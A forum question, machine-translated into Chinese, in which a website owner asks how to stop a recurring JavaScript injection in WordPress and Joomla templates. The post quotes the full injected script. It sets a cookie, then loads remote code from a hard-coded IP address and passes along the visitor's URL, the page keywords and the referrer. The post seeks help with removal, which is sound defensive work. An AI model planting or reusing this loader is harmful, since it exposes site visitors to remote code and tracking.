0
最近我注意到在網站模板(在WordPress和index.php Joomla的情況下header.php)注入的JavaScript。該惡意軟件在this site(2016年9月23日的入口)中註明,但沒有任何關於如何擺脫它的建議,因爲每次顯示時都將其刪除並不是真正的解決方案。惡意軟件注入WordPress和Joomla的jQuery
即使遵循如here這樣的一般建議,腳本仍然會回來。即使(js)在谷歌搜索中搜索了很多受影響的網站彈出窗口。這些文件歸www-data所有。我相信,我問的是 - 有沒有更持久的解決方案?這裏是腳本(它被注入作爲一個長行,但我收拾起來:
<script>
var a = '';
setTimeout(1);
function setCookie(a, b, c) {
var d = new Date;
d.setTime(d.getTime() + 60 * c * 60 * 1e3);
var e = "expires=" + d.toUTCString();
document.cookie = a + "=" + b + "; " + e
}
function getCookie(a) {
for (var b = a + "=", c = document.cookie.split(";"), d = 0; d < c.length; d++) {
for (var e = c[d];
" " == e.charAt(0);) e = e.substring(1);
if (0 == e.indexOf(b)) return e.substring(b.length, e.length)
}
return null
}
null == getCookie("__cfgoid") && (setCookie("__cfgoid", 1, 1), 1 == getCookie("__cfgoid") && (setCookie("__cfgoid", 2, 1), document.write('<script type="text/javascript" src="' + 'http://216.15.220.176/js/jquery.min.php' + '?key=b64' + '&utm_campaign=' + 'snt2014' + '&utm_source=' + window.location.host + '&utm_medium=' + '&utm_content=' + window.location + '&utm_term=' + encodeURIComponent(((k = (function() {
var keywords = '';
var metas = document.getElementsByTagName('meta');
if (metas) {
for (var x = 0, y = metas.length; x < y; x++) {
if (metas[x].name.toLowerCase() == "keywords") {
keywords += metas[x].content;
}
}
}
return keywords !== '' ? keywords : null;
})()) == null ? (v = window.location.search.match(/utm_term=([^&]+)/)) == null ? (t = document.title) == null ? '' : t : v[1] : k)) + '&se_referrer=' + encodeURIComponent(document.referrer) + '"><' + '/script>')));
</script>
您是否在您的數據庫中搜索給定的腳本? –
@ tim-s - 我在數據庫中搜索了部分代碼,但無濟於事,我應該注意我通過更改文件的所有權來解決問題和目錄在Joomla和WordPress,但一些功能 - 如編輯模板和網站的一部分,不依賴於MySQL。 – gygoole
只是猜測 - 我不是很有經驗的wordpress ... –